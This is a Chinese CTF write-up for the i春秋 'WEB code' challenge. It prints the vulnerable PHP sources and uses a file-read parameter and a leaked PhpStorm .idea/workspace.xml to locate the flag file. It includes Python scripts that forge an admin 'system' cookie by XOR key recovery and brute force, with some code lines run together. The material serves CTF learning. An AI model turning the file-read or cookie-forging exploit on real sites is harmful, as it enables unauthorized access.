i春秋 WEB code
i春秋 WEB code
一天一道CTF题目,能多不能少
打开网页入目的是一张图,查看网页源代码,发现图片是base64的加密,可能存在文件读取,尝试读取index.php的文件,得到源码:
<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";
/** Can you find the flag file?**/
?>
发现可能存在config.php文件,不过过滤了,访问肯定是不成功的~
看见Created by PhpStorm
,知道是用PhpStorm写的,这个软件写的时候会生成一个.idea的文件夹,它存储了项目的配置文件,
一般还存在workspace.xml,打开.idea/workspace.xml可以发现:
存在这几个文件,访问fl3g_ichuqiu.php,发现一个表情,直接读取源码,可是下划线是被过滤的,所以用config代替,也就是直接访问index.php?jpg=fl3gconfigichuqiu.php,得到源码:
<?php
/*** Created by PhpStorm.* Date: 2015/11/16* Time: 1:31*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');//获取length位数的随机字符串
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {$hash = '';$max = strlen($chars) - 1;for($i = 0; $i < $length; $i++) {$hash .= $chars[mt_rand(0, $max)];}return $hash;
}//加密过程,txt是明文,key是秘钥
function encrypt($txt,$key){for($i=0;$i<strlen($txt);$i++){$tmp .= chr(ord($txt[$i])+10); //txt内容的ascii码增加10}$txt = $tmp;$rnd=random(4); //取4位随机字符$key=md5($rnd.$key); //随机字符与秘钥进行拼接得到新的秘钥$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$ttmp .= $txt[$i] ^ $key[++$s]; //将明文与key按位进行异或}return base64_encode($rnd.$ttmp); //base64加密
}//解密过程,txt是密文,key是秘钥
function decrypt($txt,$key){$txt=base64_decode($txt);$rnd = substr($txt,0,4); //减掉4位随机数 $txt = substr($txt,4); //真正的密文$key=md5($rnd.$key);$s=0;for($i=0;$i<strlen($txt);$i++){if($s == 32) $s = 0;$tmp .= $txt[$i]^$key[++$s]; //将密文与秘钥进行异或得到tmp}for($i=0;$i<strlen($tmp);$i++){$tmp1 .= chr(ord($tmp[$i])-10);}return $tmp1; //明文
}
$username = decrypt($_COOKIE['user'],$key); //获取cookie的内容
if ($username == 'system'){ //如果解密后等于system打印flagecho $flag;
}else{setcookie('user',encrypt('guest',$key)); //否则打印表情echo "╮(╯▽╰)╭";
}
?>
说实话,逻辑还是很清楚的,就是根据cookie的内容反推key,因为知道明文是guest,而我们需要的明文是system的key,所以我们可以先把前五位找出来,最后一位暴力去破,然而,用Python3却跑不出来!!!!最后看了大佬的wp之后,又敲了一遍脚本,大佬用的是Python2写的,我就想转成Python3,可是转成Python3还是出不来,Python2直接秒出,如果有大佬能够知道为啥希望能指导一手,感激~~
贴上Python2的成功脚本:
# _*_ coding: utf-8 _*
from base64 import *
import requests
import string#设置URL
url = "http://ce4d7cd87bd0400eae49ec2fa094677525d7825dd2e64350.changame.ichunqiu.com/fl3g_ichuqiu.php"cookie = requests.get(url).cookies['user'] #请求该URL,获取user的COOKIE值txt = b64decode(cookie) #将得到的cookie进行base64解码
rnd = txt[:4] #密文前四位是随机字符
tmp = txt[4:] #guest与key进行异或的密文,5位
key = list('123456') #key为6位的字符,目前不知是啥
guest = list('guest') #guest明文
system = list('system') for i in range(0,len(guest)):guest[i] = chr(ord(guest[i]) + 10) #为加密做准备for i in range(0,len(guest)):key[i] = chr(ord(tmp[i]) ^ ord(guest[i])) #得到key的前五位for i in range(0,len(system)):system[i] = chr(ord(system[i]) + 10) #同样是为了加密做准备#准备爆破key的第6位
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"tmp_news = '' #system与key的异或值
cookie_system = []
xstr = ""for ch in s:key[5] = chfor i in range(0,len(system)):tmp_news += chr(ord(system[i]) ^ ord(key[i]))xstr = rnd + tmp_news #随机字符与异或的结果拼接cookie_system.append(b64encode(xstr)) #base64加密,并加入到cookie_system中tmp_news = ""#print(cookie_system)for i in cookie_system:cookie = {'user':i.decode()} #设置cookieres = requests.get(url,cookies = cookie) if "flag" in res.text:print res.text
失败的Python3脚本╮(╯▽╰)╭(真心觉得和Python2一样,就是出不来!!!!):
import base64
import requests
import string#设置URL
url = "http://ce4d7cd87bd0400eae49ec2fa094677525d7825dd2e64350.changame.ichunqiu.com/fl3g_ichuqiu.php"cookie = requests.get(url).cookies['user'] #请求该URL,获取user的COOKIE值txt = base64.b64decode(cookie).decode() #将得到的cookie进行base64解码
rnd = txt[:4] #密文前四位是随机字符
tmp = txt[4:] #guest与key进行异或的密文,5位
key = list('123456') #key为6位的字符,目前不知是啥
guest = list('guest') #guest明文
system = list('system') for i in range(0,len(guest)):guest[i] = chr(ord(guest[i]) + 10) #为加密做准备for i in range(0,len(guest)):key[i] = chr(ord(tmp[i]) ^ ord(guest[i])) #得到key的前五位for i in range(0,len(system)):system[i] = chr(ord(system[i]) + 10) #同样是为了加密做准备#准备爆破key的第6位
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"tmp_news = '' #system与key的异或值
cookie_system = []
xstr = ""for ch in s:key[5] = chfor i in range(0,len(system)):tmp_news += chr(ord(system[i]) ^ ord(key[i]))xstr = rnd + tmp_news #随机字符与异或的结果拼接cookie_system.append(base64.b64encode(xstr.encode())) #base64加密,并加入到cookie_system中tmp_news = ""#print(cookie_system)for i in cookie_system:cookie = {'user':i.decode()} #设置cookieres = requests.get(url,cookies = cookie) if "flag" in res.text:print(res.text)
i春秋 WEB code相关推荐
- i春秋 WEB 象棋
i春秋 WEB 象棋 一天一道CTF题目,能多不能少 打开页面,一副象棋映入眼帘,玩了一会,,,太菜了,打不过人机,,,: 打开网页源代码,仔细查看一番,发现有一处CTF的字样~~: 这个正则表达式嘛 ...
- i春秋 WEB fuzzing
i春秋 WEB fuzzing 一天一道CTF题目,能多不能少 打开网页发现there is nothing,最后一通折腾什么都没有,最后进行抓包,得到提示: 按照提示应该是要构造ip,使用X-For ...
- i春秋 WEB Login
i春秋 WEB Login 一天一道CTF题目,能多不能少 打开网页,发现登录,查看源代码,发现疑似账号密码的东西~: 登录,发现什么都没有,源码也没有什么~: 既然如此就抓包吧,bp启动: 发现一个 ...
- i春秋 WEB 123
i春秋 WEB 123 一天一道CTF题目,能多不能少 打开网页一个登录框,按照惯例查看网页源代码,有所发现: 查看user.php,发现存在但是什么都没有,检查是否存在备份文件~ 发现存在: 下载打 ...
- i春秋 WEB GetFlag
i春秋 WEB GetFlag 一天一道CTF题目,能多不能少 打开网页,点击login来到登陆页面: 发现验证码是截取MD5的验证:substr(md5(captcha), 0, 6)=3aab4a ...
- 暑期练习web25:web code(i春秋)index.php文件包含、base64图片加密
这次有意思,上来就是个萌妹子 但我们不能光看妹子,学习更重要!查看一波源码,很长一段,前面提示了是base64(html中图片可以用base64表示,那么用base64表示的文本就是破损图片) 但是我 ...
- i春秋-Web(一)
前言 做了几道i春秋的Web题,所以总结一下. Web1:爆破-1 题目提示:某六位变量.查看题目,发现是代码审计 <?php include "flag.php"; $a ...
- I春秋——web Write up(三)
前言:继续总结,学习更多关于web知识和练习编写脚本的能力. GetFlag 一个登陆框加上验证码,不过有一点不同的是substr(md5(captcha), 0, 6)=e7e24a,截取MD5加密 ...
- I春秋——web Write up(二)
前言:最近都没有更新过,感觉博客快荒废了,得更新了[]( ̄▽ ̄)*,这次总结一下做的一些web题. 一.Not Found 打开页面便是404,但是下面有一个404.php,访问一下 除下有出题人的h ...
最新文章
- 活动目录之用户配置文件(转载)
- solve Ax+By+C=0
- 小师妹学JVM之:JIT中的PrintAssembly
- Android SDK上手指南:应用程序数据
- 投资,个人未来的生存之道(任何个人必知)
- Customing 维护中TR弹出逻辑
- jQuery心得5--jQuery深入了解串讲1
- 计算机常用控温算法,常用温度控制方法原理 -解决方案-华强电子网
- v8声卡调音软件_声卡出现杂音怎么办?教你几招解决杂音问题
- vue 防止按钮重复点击
- angular4.0 父子组建之间的相互通信
- springboot定制404错误信息
- 现在大多数论文存在的弊病——可重复性
- AAAI 2021 Structured Co-reference Graph Attention for Video-grounded Dialogue
- 荣耀30会更新鸿蒙系统吗,华为荣耀30肿么升级鸿蒙系统?
- 芯片设计里的Multi-Bit FF探究
- 基于产生式表示的动物识别系统
- vue页面背景颜色修改
- Smith圆图阻抗匹配介绍使用
- RT-Thread Nano入门学习笔记(1)
热门文章
- CUDA C 编程权威指南 Grossman 第6章 流和并发
- c语言趣味程序设计过桥,计算机c语言趣味的程序设计——题目百例.doc
- 学Linux运维的前景
- c语言已知年第几天求哪月哪日,已知今天的日期(年月日),求明天的日期(年月日)...
- python_way,day3 集合、函数、三元运算、lambda、python的内置函数、字符转换、文件处理...
- 从ReadView深入理解MySql MVCC原理
- Kali-Linux-2021.1 root登录
- 图片的数据增强与批量压缩
- HE学业水平考试游记 By cellur925
- Python项目一:pygname